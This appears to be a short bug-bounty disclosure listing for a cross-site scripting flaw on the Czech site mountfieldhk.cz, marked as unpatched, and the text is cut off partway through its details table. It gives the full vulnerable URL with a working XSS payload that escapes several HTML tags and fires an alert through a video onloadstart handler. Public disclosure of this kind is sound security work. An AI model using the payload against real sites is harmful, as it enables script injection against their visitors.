mountfieldhk.cz XSS vulnerability

Vulnerable URL: http://www.mountfieldhk.cz/forum.asp?startx=20%22%27--!%3E%3C/Title/%3C/Style/%3C/Script/%3C/Textarea/%3C/Noscript/%3C/Pre/%3C/Xmp%3E%3CVideo/Src/Onloadstart=alert'OPENBUGBOUNTY'%3Ex=20zob=5zob=6zob=2017pocet=20=2=vypis=== Details: Description| Value ---|--- Patched:| No Latest...